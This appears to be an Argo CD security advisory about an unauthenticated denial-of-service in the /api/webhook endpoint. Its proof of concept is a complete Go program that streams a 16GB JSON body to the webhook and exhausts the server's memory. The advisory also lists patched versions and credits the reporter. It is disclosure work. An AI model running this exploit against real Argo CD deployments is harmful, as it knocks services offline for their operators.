Description
Summary
This report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments.
Details
The webhook server always listens to requests. By default, the endpoint doesn't require authentication. It's possible to send a large, malicious request with headers (in this case "X-GitHub-Event: push") that will make ArgoCD start allocating memory to parse the incoming request. Since the request can be constructed client-side without allocating large amounts of memory, it can be arbitrarily large. Eventually, the argocd-server component will get OOMKilled as it consumes all its available memory.
The fix would be to enforce a limit on the size of the request being parsed.
PoC
Port-forward to the argocd-server service, like so:
kubectl port-forward svc/argocd-server -n argocd 8080:443
Run the below code:
package main
import (
"crypto/tls"
"io"
"net/http"
)
// Define a custom io.Reader that generates a large dummy JSON payload.
type DummyJSONReader struct {
size int64 // Total size to generate
read int64 // Bytes already generated
}
// Read generates the next chunk of the dummy JSON payload.
func (r *DummyJSONReader) Read(p []byte) (n int, err error) {
if r.read >= r.size {
return 0, io.EOF // Finished generating
}
start := false
if r.read == 0 {
// Start of JSON
p[0] = '{'
p[1] = '"'
p[2] = 'd'
p[3] = 'a'
p[4] = 't'
p[5] = 'a'
p[6] = '"'
p[7] = ':'
p[8] = '"'
n = 9
start = true
}
for i := n; i < len(p); i++ {
if r.read+int64(i)-int64(n)+1 == r.size-1 {
// End of JSON
p[i] = '"'
p[i+1] = '}'
r.read += int64(i) + 2 - int64(n)
return i + 2 - n, nil
} else {
p[i] = 'x' // Dummy data
}
}
r.read += int64(len(p)) - int64(n)
if start {
return len(p), nil
}
return len(p) - n, nil
}
func main() {
// Initialize the custom reader with the desired size (16GB in this case).
payloadSize := int64(16) * 1024 * 1024 * 1024 // 16GB
reader := &DummyJSONReader{size: payloadSize}
// HTTP client setup
httpClient := &http.Client{
Timeout: 0, // No timeout
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
}
req, err := http.NewRequest("POST", "https://localhost:8080/api/webhook", reader)
if err != nil {
panic(err)
}
// Set headers
req.Header.Set("Content-Type", "application/json")
req.Header.Set("X-GitHub-Event", "push")
resp, err := httpClient.Do(req)
if err != nil {
panic(err)
}
defer resp.Body.Close()
println("Response status code:", resp.StatusCode)
}
Patches
A patch for this vulnerability has been released in the following Argo CD versions:
v2.11.6
v2.10.15
v2.9.20
For more information
If you have any questions or comments about this advisory:
Open an issue in the Argo CD issue tracker or discussions
Join us on Slack in channel #argo-cd
Credits
This vulnerability was found & reported by Jakub Ciolek
The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue
